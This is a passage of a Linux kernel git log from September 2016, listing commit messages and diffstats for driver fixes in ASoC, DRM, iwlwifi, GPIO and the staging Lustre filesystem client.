tree and not live outside in some lonely github repo, never to be reunited with it's true love... Signed-off-by: Greg Kroah-Hartman commit b7c8c5d6927f9e6f3b4c0f8fcc99daa4568ad185 Author: Wei Yongjun Date: Sat Sep 17 01:34:33 2016 +0000 ASoC: sti: fix missing clk_disable_unprepare() on error in uni_player_start() Fix the missing clk_disable_unprepare() before return from uni_player_start() in the error handling case. Signed-off-by: Wei Yongjun Acked-by: Arnaud Pouliquen Signed-off-by: Mark Brown sound/soc/sti/uniperif_player.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit f5e14739ed35efda73731594cac003fbf1fa151f Author: Geert Uytterhoeven Date: Sun Sep 18 09:53:07 2016 +0200 CREDITS: Update fingerprint for Geert Uytterhoeven My old key was revoked in 2007. Signed-off-by: Geert Uytterhoeven CREDITS | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a1a9e88f708fc1c5602cbe9761f246c6acbc27cd Author: Geert Uytterhoeven Date: Mon Sep 5 13:18:15 2016 +0200 m68k: Use IS_ENABLED() instead of checking for built-in or module Signed-off-by: Geert Uytterhoeven arch/m68k/amiga/config.c | 2 +- arch/m68k/atari/config.c | 2 +- arch/m68k/kernel/setup_mm.c | 2 +- arch/m68k/mac/config.c | 2 +- arch/m68k/q40/config.c | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) commit d9a1f0b4eb6080dc42bb6373ab9abb0314cea41e Author: David Herrmann Date: Thu Sep 1 14:48:33 2016 +0200 drm: use drm_file to tag vm-bos Rather than using "struct file*", use "struct drm_file*" as tag VM tag for BOs. This will pave the way for "struct drm_file*" without any "struct file*" back-pointer. Signed-off-by: David Herrmann Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160901124837.680-3-dh.herrmann@gmail.com drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 3 ++- drivers/gpu/drm/ast/ast_ttm.c | 3 ++- drivers/gpu/drm/bochs/bochs_mm.c | 3 ++- drivers/gpu/drm/cirrus/cirrus_ttm.c | 3 ++- drivers/gpu/drm/drm_gem.c | 8 +++---- drivers/gpu/drm/drm_vma_manager.c | 40 ++++++++++++++++----------------- drivers/gpu/drm/mgag200/mgag200_ttm.c | 3 ++- drivers/gpu/drm/nouveau/nouveau_bo.c | 3 ++- drivers/gpu/drm/qxl/qxl_ttm.c | 3 ++- drivers/gpu/drm/radeon/radeon_ttm.c | 3 ++- include/drm/drm_vma_manager.h | 20 +++++++++-------- 11 files changed, 51 insertions(+), 41 deletions(-) commit 75ae95a75d640129fc4aff412c6ecc057142a149 Author: David Herrmann Date: Thu Sep 1 14:48:32 2016 +0200 drm: remove redundant drm_file->uid Each DRM file-context caches the EUID of the process that opened the file. It is used exclusively for debugging purposes in /proc/dri/ and friends. Note, however, that we can already fetch the EUID from priv->pid->task->creds. The pointer-chasing will not hurt us, since it is only about debugging, anyway. Since we already are in an rcu-read-side, we can use __task_cred() rather than task_cred_xxx(). Signed-off-by: David Herrmann Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160901124837.680-2-dh.herrmann@gmail.com drivers/gpu/drm/drm_fops.c | 1 - drivers/gpu/drm/drm_info.c | 4 +++- include/drm/drmP.h | 1 - 3 files changed, 3 insertions(+), 3 deletions(-) commit 3a383cc0b8cc33af188fe2062b6ba5a69af25fa7 Author: Greg Kroah-Hartman Date: Mon Sep 19 11:05:43 2016 +0200 Revert "usb: gadget: NCM: Protect dev->port_usb using dev->lock" This reverts commit c9ffc78745f89e300fe704348dd8e6800acf4d18 as it was reported to be broken. Cc: Felipe Balbi Cc: Jim Baxter Cc: Harish Jenny K N Signed-off-by: Greg Kroah-Hartman drivers/usb/gadget/function/u_ether.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit 31ebe86d6ef5f3280705e7ac9ab366f60f4e699c Author: Linus Walleij Date: Mon Sep 19 10:17:32 2016 +0200 pinctrl: nomadik: don't default-flag IRQs as falling There is no point in adding any default trigger for these GPIO interrupts: the device tree should contain all trigger information and the platforms using the driver boots exclusively from device tree. Also the boot log is nagging me to fix this: [ 0.771057] ------------[ cut here ]------------ [ 0.775695] WARNING: CPU: 0 PID: 1 at ../drivers/gpio/gpiolib.c:1622 _gpiochip_irqchip_add+0x138/0x160 [ 0.785034] /soc/gpio@8012e000: Ignoring 2 default trigger (...) [ 0.942962] gpio 8012e000.gpio: at address e08f8000 (etc ad nauseam) Suggested-by: Marc Zyngier Acked-by: Marc Zyngier Signed-off-by: Linus Walleij drivers/pinctrl/nomadik/pinctrl-nomadik.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 70e058835562902a31ebac3e7bc70accd779c9c3 Merge: bdfb3af e180f88 Author: Arnd Bergmann Date: Mon Sep 19 10:52:43 2016 +0200 Merge tag 'v4.8-next-soc' of https://github.com/mbgg/linux-mediatek into next/drivers Pull "ARM: mediatek: soc updates for v4.9" from Matthias Brugger: extent the waiting time of the pmic wrapper to 10 ms which reduces the failure rate on the data transfer between pmic and pmic wrapper. * tag 'v4.8-next-soc' of https://github.com/mbgg/linux-mediatek: soc: mediatek: PMIC wrap: Extend the waiting time to 10ms. commit 5d3ddd84eaefffd23c028bce5610dac8726f71c1 Author: Al Viro Date: Fri Sep 16 00:17:21 2016 +0100 udf: don't bother with full-page write optimisations in adinicb case ... it would get converted to regular if such had been attempted Signed-off-by: Al Viro Signed-off-by: Jan Kara fs/udf/file.c | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) commit 0979a913f879ea39504200d83fb9f275a555a58d Author: Johannes Berg Date: Wed Aug 31 22:16:11 2016 +0200 iwlwifi: pcie: use LIST_HEAD() macro There's no need to declare a list and then init it manually, just use the LIST_HEAD() macro. Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/pcie/rx.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 8098203f26b4fd4b4ef5281b2e77d49ab6d9a3b4 Author: Johannes Berg Date: Wed Aug 31 22:16:11 2016 +0200 iwlwifi: mvm: use LIST_HEAD() macro There's no need to declare a list and then init it manually, just use the LIST_HEAD() macro. Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/ops.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 176aa60bf148b5af4209ac323cef941dee76e390 Author: Sara Sharon Date: Wed Aug 31 19:03:01 2016 +0300 iwlwifi: mvm: set HCMD_NAME for PHY_DB as well Currently it is logged as UNKNOWN. Also, 0x6c seems to be the permanent ID for this command, remove incorrect comment and uncomment the command from the commands list. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-phy-db.c | 2 +- drivers/net/wireless/intel/iwlwifi/mvm/fw-api.h | 2 +- drivers/net/wireless/intel/iwlwifi/mvm/ops.c | 1 + 3 files changed, 3 insertions(+), 2 deletions(-) commit 2b55f43f8e477a123bca4ab35351666479bd7b86 Author: Ido Yariv Date: Tue Aug 23 14:44:59 2016 -0400 iwlwifi: mvm: Add mem debugfs entry In order to access cached/paged memory, there are a couple of firmware commands (one for UMAC and one for LMAC) that let the host access memory and registers indirectly. Since this is done by the firmware on behalf of the host, even if memory is paged out or cached, the host will retrieve the memory as the firmware sees it (paged out memory will get paged in). Export this mechanism via a debugfs entry for both read and write access. WARNING: This mechanism has no protections at all. Invalid addresses may crash or hang the firmware. Writing to arbitrary memory also comes with no guarantees. Signed-off-by: Ido Yariv Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/debugfs.c | 129 +++++++++++++++++++++++ drivers/net/wireless/intel/iwlwifi/mvm/fw-api.h | 50 +++++++++ 2 files changed, 179 insertions(+) commit 186cd49a4d9ad1a0d4a7371c2d02a05a8ac53a03 Author: Johannes Berg Date: Wed Aug 24 10:05:40 2016 +0200 iwlwifi: mvm: move AP-specific code to right function There's no need for the common MAC context function to have an if on AP mode, the values can be overridden in the AP-specific function later. Clean that up by adding the full command as a new parameter to the AP-specific function, and doing it there. Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/mac-ctxt.c | 42 +++++++++++------------ 1 file changed, 20 insertions(+), 22 deletions(-) commit 8b6607cc6cdecd932201e63597b3b0c0f7958f33 Author: Oren Givon Date: Thu Aug 25 13:15:24 2016 +0300 iwlwifi: add new 8265 series PCI ID Add a new PCI ID for the 8265 series. Signed-off-by: Oren Givon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/pcie/drv.c | 1 + 1 file changed, 1 insertion(+) commit b3bee580b1e200e4fc14091e3e118ae8280dc06c Author: Roee Zamir Date: Tue Aug 2 13:55:13 2016 +0300 iwlwifi: mvm: Add debugfs function for clocks diff New function, reveals the diff between gp2 and host time. Signed-off-by: Roee Zamir Signed-off-by: Luca Coelho .../net/wireless/intel/iwlwifi/mvm/debugfs-vif.c | 26 ++++++++++++++++++++++ drivers/net/wireless/intel/iwlwifi/mvm/mvm.h | 1 + drivers/net/wireless/intel/iwlwifi/mvm/utils.c | 22 ++++++++++++++++++ 3 files changed, 49 insertions(+) commit 0e4011ebbc1bee52fd65b1cba5da6fddbd588377 Author: Linus Walleij Date: Mon Sep 19 10:14:29 2016 +0200 gpio: tc3589x: fix up complaints on unsigned A bunch of variables were just declared "unsigned" and should be "unsigned int". Fix it up for this driver. Signed-off-by: Linus Walleij drivers/gpio/gpio-tc3589x.c | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) commit 14063d71e5e6775c676755612fc81deb029685c4 Author: Linus Walleij Date: Mon Sep 19 10:08:56 2016 +0200 gpio: tc3589x: add .get_direction() and small cleanup This adds a .get_direction() callback to the TC3589x and renames the function for setting single-ended mode to be more to the point. Signed-off-by: Linus Walleij drivers/gpio/gpio-tc3589x.c | 29 +++++++++++++++++++++++------ 1 file changed, 23 insertions(+), 6 deletions(-) commit 26e9c85b48b4e3a2301c049213de3b5456c6b0a4 Author: James Simmons Date: Sun Sep 18 16:39:03 2016 -0400 staging: lustre: update version to 2.6.99 With all of the the missing patches from the lustre 2.7 version merged upstream its time to update the upstream clients version. Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre_ver.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit d566b9aec93e603f59430d32d7996b74a7b5f555 Author: Doug Oucharek Date: Sun Sep 18 16:39:02 2016 -0400 staging: lustre: o2iblnd: Put back work queue check previously removed The previous patch, http://review.whamcloud.com/21304/, removed a check needed until LU-5718 is properly addressed. With the check, LU-5718 results in an error message and a lost RDMA operation. Without it, we have memory corruption and a crash (much harder to debug). Putting the check back in case LU-5718 is not fixed soon. Signed-off-by: Doug Oucharek Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-7650 Reviewed-on: http://review.whamcloud.com/22281 Reviewed-by: James Simmons Reviewed-by: Olaf Weber Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lnet/klnds/o2iblnd/o2iblnd_cb.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit abe8a55fb0fbad1ab41d39c69212acf7f4364b49 Author: Doug Oucharek Date: Sun Sep 18 16:39:01 2016 -0400 staging: lustre: lnet: Enable setting per NI peer_credits The code to allow peer_credits to be set per NI was originally "left inactive" because there were concerns about peer_credits interfering with the ability for IB nodes to connect to each other when peer_credits are not the same (peer_credits controls the queue depth for IB). With LU-3322, the values do not have to match so it is now safe to enable this code so peer_credits can be set per NI. This patch enables existing code for setting per NI peer_credits. Second this patch fixes a long standing bug in that the conf data was not being used to set variables in the lnet_ni structure until after lnd_startup() was called which meant LND drivers were ignoring struct lnet_ni tunable values being set. Now we change struct lnet_ni data fields based on conf data before calling lnd_startup(). Signed-off-by: Doug Oucharek Signed-off-by: James Simmons Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-8507 Reviewed-on: http://review.whamcloud.com/21948 Reviewed-by: Olaf Weber Reviewed-by: Dmitry Eremin Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lnet/lnet/api-ni.c | 46 +++++++++++++------------------ 1 file changed, 19 insertions(+), 27 deletions(-) commit 9522bb7ac76f8290e65259a744ed5f286be39994 Author: Doug Oucharek Date: Sun Sep 18 16:39:00 2016 -0400 staging: lustre: lnet: Ensure routing is turned on first time In lnet_rtrpools_enable(), a mistake was made and routing was not being turned on when the rtrpools are being allocated for the first time. This patch fixes that routine so we remember to turn on routing after allocating the rtrpools. Signed-off-by: Doug Oucharek Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-8501 Reviewed-on: http://review.whamcloud.com/21934 Reviewed-by: James Simmons Reviewed-by: Amir Shehata Reviewed-by: Dmitry Eremin Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lnet/lnet/router.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 4c6722fbc187e64288796d216e4685bb3b27c3f2 Author: Sebastien Buisson Date: Sun Sep 18 16:38:59 2016 -0400 staging: lustre: lnet: check if ni is in current net namespace Add new 'ni_net_ns' field to struct lnet_ni to hold a reference to original net namespace in which ni is created. In LNetDist(), check if ni was created in same net namespace as current's one. If not, assign order above 0xffff0000, to make this ni not a priority. Signed-off-by: Sebastien Buisson Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-7845 Reviewed-on: http://review.whamcloud.com/21884 Reviewed-by: Olaf Weber Reviewed-by: Doug Oucharek Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/include/linux/lnet/lib-types.h | 2 ++ drivers/staging/lustre/lnet/lnet/config.c | 14 ++++++++++++++ drivers/staging/lustre/lnet/lnet/lib-move.c | 11 +++++++++++ 3 files changed, 27 insertions(+) commit f2d928f933ce1b1803dac12f1bc8117b8f7563a9 Author: Quentin Bouget Date: Sun Sep 18 16:38:58 2016 -0400 staging: lustre: lnet: potential deadlock in lnet Fixes potential deadlock in LNetMDAttach Signed-off-by: Quentin Bouget Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-8249 Reviewed-on: http://review.whamcloud.com/20676 Reviewed-by: Doug Oucharek Reviewed-by: James Simmons Reviewed-by: Henri Doreau Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lnet/lnet/lib-md.c | 24 +++++++++++++----------- 1 file changed, 13 insertions(+), 11 deletions(-) commit a1194ad691043fa5632f756c80a6bbafdb0f4dcd Author: wang di Date: Sun Sep 18 16:38:57 2016 -0400 staging: lustre: lmv: fix parent FID for migration If the migrating directory is under striped directory, it needs to set right stripe FID for its parent. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-6263 Reviewed-on: http://review.whamcloud.com/13817 Reviewed-by: John L. Hammond Reviewed-by: Andreas Dilger Reviewed-by: Fan Yong Reviewed-by: Lai Siyao Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_obd.c | 30 ++++++++++++++++++++++++----- 1 file changed, 25 insertions(+), 5 deletions(-) commit 8ed62e91c4adf3f37c665d1d892aa17dc7150ab7 Author: Ned Bass Date: Sun Sep 18 16:38:56 2016 -0400 staging: lustre: mdc: cl_default_mds_easize not refreshed The client_obd::cl_default_mds_easize field should track the largest observed EA size advertised by the MDT, subject to a reasonable upper bound. The MDC uses cl_default_mds_easize to calculate the initial size of request buffers. The default value should be small enough to avoid wasted memory and excessive use of vmalloc(), yet large enough to accommodate the common use case. In the current code, the default value is only updated if client_obd::cl_max_mds_easize is strictly less than mdt_body::mbo_max_mdsize. This condition is almost never met, because client_obd::cl_max_mds_easize is computed at client mount-time based on the number of OSTs in the filesystem, so the MDT won't ever observe and advertise an EA size larger than that. As a result, client_obd::cl_default_mds_easize indefinitely retains its initial value, which is computed at client mount-time based on the filesystem's default stripe width. Any getattr() requests for widely striped files will consequently allocate a request buffer that is too small, forcing reallocations on both the client and server side. To avoid this, update client_obd::cl_default_mds_easize independently of the value of client_obd::cl_max_mds_easize. In addition, this patch includes these changes: - Add comments to the client_obd structure to clarify what the cl_{default,max}_mds_{cookie,ea}size values mean. - Prevent mdc_get_info() from storing uninitialized data in client_obd::cl_max_mds_cookiesize. - Use 4096 as an upper bound for the default values. The former bound of PAGE_CACHE_SIZE is too large on 64k-page platforms (i.e. PPC), so it fails to prevent the vmalloc() spinlock contention described in LU-3338. The new value was chosen to be large enough to accommodate common use cases while staying well below the 16k threshold at which allocations start using vmalloc(). Signed-off-by: Ned Bass Signed-off-by: Kyle Blatter Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5549 Reviewed-on: http://review.whamcloud.com/11614 Reviewed-by: Lai Siyao Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre_mdc.h | 37 +++++++++++++------ drivers/staging/lustre/lustre/include/obd.h | 41 ++++++++++++++++++++-- drivers/staging/lustre/lustre/llite/llite_lib.c | 3 +- 3 files changed, 67 insertions(+), 14 deletions(-) commit 60b65afb700626f0fe43589138c8ca9ac460d634 Author: Ned Bass Date: Sun Sep 18 16:38:55 2016 -0400 staging: lustre: llite: make default_easize writeable in /sysfs Allow default_easize to be tuned via /sysfs. A system administrator might want this if a rare access to widely striped files drives up the value on a filesystem where narrowly striped files are the more common case. In practice, however, this is wanted primarily to facilitate a test case for LU-5549. - Plumb the necessary interfaces through the LMV and MDC layers to expose write access to this value by higher layers. - Add block comments to modified functions. Signed-off-by: Ned Bass Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5549 Reviewed-on: http://review.whamcloud.com/13112 Reviewed-by: Andreas Dilger Reviewed-by: Lai Siyao Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../staging/lustre/lustre/llite/llite_internal.h | 1 + drivers/staging/lustre/lustre/llite/llite_lib.c | 33 ++++++++++++++ drivers/staging/lustre/lustre/llite/lproc_llite.c | 51 +++++++++++++++++++++- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 35 ++++++++++++++- drivers/staging/lustre/lustre/mdc/mdc_request.c | 6 +++ 5 files changed, 124 insertions(+), 2 deletions(-) commit d81e90094ac77fa86288cad306ea25af82365b9f Author: wang di Date: Sun Sep 18 16:38:54 2016 -0400 staging: lustre: mdt: add indexing option to default dir stripe Add indexing option to default dirstripe EA. If MDT find out the client send the create req to the wrong MDT because of default stripeEA, it will return -EREMOTE, then client will retrieve default stripeEA through xattr cache, and re-create the object. Also merged patch for LU-6341 to resolve the following problem. Use ll_dir_getstripe to get default stripeEA in ll_new_node(), Because ll_getxattr_common requires admin rights for retrieving default LMVEA (because of trusted- prefix), which might cause mkdir (from normal user) failure. If parent does not have default stripeEA, then child should always be in the same MDT for mkdir. Otherwise MDT should return -EREMOTE, then client will refresh the default stripe index, and recreate the object. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5523 Reviewed-on: http://review.whamcloud.com/13360 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-6341 Reviewed-on: http://review.whamcloud.com/13990 Reviewed-by: Andreas Dilger Reviewed-by: Lai Siyao Reviewed-by: John L. Hammond Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 3 ++ .../staging/lustre/lustre/llite/llite_internal.h | 7 ++++ drivers/staging/lustre/lustre/llite/llite_lib.c | 7 +++- drivers/staging/lustre/lustre/llite/namei.c | 45 ++++++++++++++++++++-- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 5 +++ 5 files changed, 63 insertions(+), 4 deletions(-) commit be2479818ff227fbb6800935909b65e06159735c Author: Mikhail Pershin Date: Sun Sep 18 16:38:53 2016 -0400 staging: lustre: ptlrpc: prevent request timeout grow due to recovery Patch fixes the issue seen on the client with growing request timeout which occurred after the server side patch landed for LU-5079. While commit itself is correct, it reveals another issue. If request is being processed for a long time on server then client adaptive timeouts will adapt to that after receiving reply and new requests will have bigger timeout. Another problem is that server AT history is corrupted by recovery request processing time which not pure service time but includes also waiting time for clients to recover. Patch prevents the AT stats update from early replies on client and from recovering requests processing time on server. The ptlrpc_at_recv_early_reply() still updates the current request timeout as asked by server, but don't include this into AT stats. The real reply will bring that data from server after all. Signed-off-by: Mikhail Pershin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-6084 Reviewed-on: http://review.whamcloud.com/13520 Reviewed-by: Andreas Dilger Reviewed-by: Jian Yu Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ptlrpc/client.c | 30 +++++++++++++++----------- drivers/staging/lustre/lustre/ptlrpc/service.c | 12 +++++------ 2 files changed, 22 insertions(+), 20 deletions(-) commit bbc222b113fb5bed066a9bcc4ce7c1a92528a47e Author: James Simmons Date: Sun Sep 18 16:38:52 2016 -0400 staging: lustre: obd: use proper flags for call_usermodehelper When a parameter is permanently changed on the MGS the MGS send a changelog packet to the proper nodes that are affected by the change. Once the nodes receive the change they then call the userland utility lctl to change its local value. When calling a userland application from the kernel you specify a flag to control the interaction with the application. Originally by default the flag was set to 0 which is UMH_NO_WAIT which meant lctl was being called asynchronously. In older kernels this was fine since UHM_NO_WAIT and UHM_WAIT_PROC had nearly the same logic. This changed with newer kernels which broke updating our parameters. Plus doing a UHM_NO_WAIT doesn't report back a error if something goes wrong with lctl. The fix is to set the flag to UHM_WAIT_PROC so kernel space waits until lctl has finished and we get a proper error code if something does go wrong with lctl. Signed-off-by: James Simmons Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-6063 Reviewed-on: http://review.whamcloud.com/13677 Reviewed-by: Bob Glossman Reviewed-by: Andreas Dilger Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/obd_config.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e47fad9a7319d6e6a70f7ac4f9f870e65b962c87 Author: frank zago Date: Sun Sep 18 16:38:51 2016 -0400 staging: lustre: ptlrpc: remove unnecessary EXPORT_SYMBOL A lot of symbols don't need to be exported at all because they are only used in the module they belong to. Signed-off-by: frank zago Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5829 Reviewed-on: http://review.whamcloud.com/12510 Reviewed-by: Dmitry Eremin Reviewed-by: John L. Hammond Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre_net.h | 7 --- drivers/staging/lustre/lustre/ptlrpc/client.c | 17 ++----- drivers/staging/lustre/lustre/ptlrpc/connection.c | 5 -- drivers/staging/lustre/lustre/ptlrpc/import.c | 1 - drivers/staging/lustre/lustre/ptlrpc/niobuf.c | 5 -- .../staging/lustre/lustre/ptlrpc/pack_generic.c | 57 ---------------------- drivers/staging/lustre/lustre/ptlrpc/pinger.c | 1 - .../staging/lustre/lustre/ptlrpc/ptlrpc_internal.h | 5 ++ drivers/staging/lustre/lustre/ptlrpc/recover.c | 2 - drivers/staging/lustre/lustre/ptlrpc/sec_bulk.c | 4 -- drivers/staging/lustre/lustre/ptlrpc/sec_config.c | 1 - drivers/staging/lustre/lustre/ptlrpc/sec_gc.c | 2 - drivers/staging/lustre/lustre/ptlrpc/service.c | 1 - 13 files changed, 8 insertions(+), 100 deletions(-) commit 8ef9dbe4b0ce3d9cae87251184096bfdaff75c9e Author: wang di Date: Sun Sep 18 16:38:50 2016 -0400 staging: lustre: llite: lock the inode to be migrated Because the inode and its connected dentries will be cleared out of the cache after migration, the inode needs to be locked during the migration. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4712 Reviewed-on: http://review.whamcloud.com/9689 Reviewed-by: Lai Siyao Reviewed-by: Fan Yong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/file.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit fee58df692924d3dbefe45c55dab9b03dde54074 Author: frank zago Date: Sun Sep 18 16:38:49 2016 -0400 staging: lustre: obdclass: remove unnecessary EXPORT_SYMBOL A lot of symbols don't need to be exported at all because they are only used in the module they belong to. Signed-off-by: frank zago Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5829 Reviewed-on: http://review.whamcloud.com/13323 Reviewed-by: Jian Yu Reviewed-by: Dmitry Eremin Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/cl_io.c | 1 - drivers/staging/lustre/lustre/obdclass/cl_page.c | 2 -- drivers/staging/lustre/lustre/obdclass/class_obd.c | 3 --- drivers/staging/lustre/lustre/obdclass/genops.c | 8 -------- drivers/staging/lustre/lustre/obdclass/linux/linux-module.c | 1 - drivers/staging/lustre/lustre/obdclass/llog_obd.c | 1 - drivers/staging/lustre/lustre/obdclass/llog_swab.c | 2 -- drivers/staging/lustre/lustre/obdclass/lprocfs_status.c | 2 -- drivers/staging/lustre/lustre/obdclass/lu_object.c | 4 ---- drivers/staging/lustre/lustre/obdclass/lustre_peer.c | 1 - 10 files changed, 25 deletions(-) commit b5d1b04e09d598a2f90d7b673b1caa2e174c6c8c Author: frank zago Date: Sun Sep 18 16:38:48 2016 -0400 staging: lustre: misc: remove unnecessary EXPORT_SYMBOL A lot of symbols don't need to be exported at all because they are only used in the module they belong to. Signed-off-by: frank zago Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5829 Reviewed-on: http://review.whamcloud.com/13321 Reviewed-by: James Simmons Reviewed-by: Dmitry Eremin Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/fid/fid_lib.c | 2 -- drivers/staging/lustre/lustre/fld/fld_request.c | 2 -- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 1 - drivers/staging/lustre/lustre/lov/lov_dev.c | 1 - 4 files changed, 6 deletions(-) commit a09be8445c75f54fbbe11e1ce9b3af2d60f346f7 Author: Johann Lombardi Date: Sun Sep 18 16:38:47 2016 -0400 staging: lustre: grant: quiet message on grant waiting timeout Use at_max in osc_enter_cache() to bound how long we wait for grant space before switching to synchronous I/Os. Do not print a message on the console when the timeout is hit since such long wait can be legitimate with flaky network (i.e. BRW is resent multiple times). Signed-off-by: Johann Lombardi Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5521 Reviewed-on: http://review.whamcloud.com/12146 Reviewed-by: Niu Yawei Reviewed-by: Jinshan Xiong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/osc/osc_cache.c | 61 ++++++++++++++++++--------- 1 file changed, 40 insertions(+), 21 deletions(-) commit 15b241c539e9b45c17fd7354e8ab9c40f585c4ee Author: wang di Date: Sun Sep 18 16:38:46 2016 -0400 staging: lustre: lmv: Do not revalidate stripes with master lock Do not revalidate slave stripes while holding master lock. Otherwise if the revalidating slaves are blocked, then the master lock can not be released in time. Remove some unnecesary merging in ll_revalidate_slave(), and the attributes will be stored in each stripe, only merging them if required. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-6088 Reviewed-on: http://review.whamcloud.com/13432 Reviewed-by: Andreas Dilger Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 5 +-- drivers/staging/lustre/lustre/include/obd_class.h | 15 ++------ drivers/staging/lustre/lustre/llite/file.c | 19 ++++------ .../staging/lustre/lustre/llite/llite_internal.h | 3 -- drivers/staging/lustre/lustre/llite/llite_lib.c | 7 +--- drivers/staging/lustre/lustre/lmv/lmv_intent.c | 41 +++------------------- drivers/staging/lustre/lustre/lmv/lmv_internal.h | 4 +-- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 28 +++++++-------- 8 files changed, 31 insertions(+), 91 deletions(-) commit 0022c6bcb4927c0ad94f9035fd38c123c48e0457 Author: Artem Blagodarenko Date: Sun Sep 18 16:38:45 2016 -0400 staging: lustre: client: Fix mkdir -i 1 from DNE2 client to DNE1 server After DNE phase 2 has been added to client it sends create request to slave MDT. DNT1-only server doesn't expect request to slave MDT from client. It expects only cross-mdt request from master MDT. Thus if DNE2 client tries to "mkdir -i 1" on DNE1 server, then LBUG happened. This patch adds OBD_CONNECT_DIR_STRIPE connection flag check on client side. If striped directories are not supported by server, then create requrest is sent to master MDT. Signed-off-by: Artem Blagodarenko Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-6071 Xyratex-bug-id: MRP-2319 Reviewed-on: http://review.whamcloud.com/13189 Reviewed-by: Andreas Dilger Reviewed-by: wang di Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_obd.c | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) commit 7ebb0ef382814c6c23188d7cf13951357fa75302 Author: Bobi Jam Date: Sun Sep 18 16:38:44 2016 -0400 staging: lustre: clio: pass fid for OST setattr Store inode's fid in cl_setattr_ost() and OSC packs this info on the wire (via lustre_set_wire_obdo) 